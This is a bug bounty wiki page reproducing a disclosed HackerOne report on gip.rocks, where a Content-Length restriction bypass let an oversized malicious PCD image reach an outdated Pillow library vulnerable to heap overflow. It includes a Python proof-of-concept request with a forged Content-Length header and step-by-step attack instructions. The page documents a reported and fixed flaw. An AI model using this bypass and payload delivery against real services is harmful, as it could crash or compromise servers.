Skip to content
Memory corruption Disclosed report Advanced

Content-Length restriction bypass to heap overflow in gip.rocks.

The service used an outdated version of the Pillow image library that was vulnerable to heap overflows, and a Content-Length restriction bypass allowed a large malicious image to reach the vulnerable code. An attacker could potentially cause a heap overflow, though the report only demonstrates the bypass and does not show full exploitation.

edoverflow Follow

Originally disclosed on HackerOne

High 7.5 View original
  • Triaged in under an hour
  • Fixed in 2 days
  • Disclosed after 2 days

I started playing around with a0xnirudh's Content-Length restriction bypass and noticed that when combined with a different vulnerability this could be leveraged to do a bit more than DoS.

We decided to open a new ticket to address this issue, since we were already aware of the bypass. a0xnirudh wrote such a good report that we decided to not close their report as a Duplicate.

Summary


I noticed that gip.rocks was using an outdated version (2.9.0) of the Pillow framework which is vulnerable to heap overflows. The test playoad is 788480 bytes. So the bypass allowed me to pass the payload on to the vulnerable code.

Python
>>> import os
>>> os.path.getsize('payload.pcd')
788480L

PoC


Vulnerable code in www/v1.st summarised:

Python
>>> from PIL import Image
>>> image = Image.open('foo.jpg')
>>> image.resize((foo, bar))

Summarised exploit:

Python
>>> from PIL import Image
>>> image = Image.open('payload.pcd')
>>> image.resize((128, 128))

Exploit concept:

Python
import requests
r = requests.post(  'http://gip.rocks/v1', 
                    data = open('payload.pcd').read(), 
                    headers = { 
                        'Content-Type': 'image/jpeg',
                        'Content-Length': ' ' # Insert a value smaller than 262144
                    }
                  )
print(r.status_code, r.reason)

Fix


I have submitted a PR to solve the heap overflow vulnerability: https://github.com/gratipay/gip.rocks/pull/5

The original report as published on HackerOne, by edoverflow. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the combination of an outdated Pillow library with a known heap overflow vulnerability and a Content-Length restriction bypass that allowed oversized payloads to reach the vulnerable code.

Impact

An attacker could potentially cause a heap overflow, which might lead to denial of service, though full exploitation is not demonstrated.

What the attacker needed

Ability to send HTTP requests to the service

The fix

A pull request was submitted to address the heap overflow vulnerability.

How it was found

  1. Craft a malicious PCD image file that triggers the heap overflow in Pillow.
  2. Send a POST request to the /v1 endpoint with the malicious file as the body.
  3. Set the Content-Type header to image/jpeg.
  4. Set the Content-Length header to a value smaller than 262144 to bypass the restriction.
  5. The payload reaches the vulnerable Pillow code, which is intended to trigger a heap overflow.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The site used an old image library with a known memory bug. A size check flaw let a large file through, which could crash the server.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by edoverflow

View all

27 more disclosed reports, best first.

More from Gratipay

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.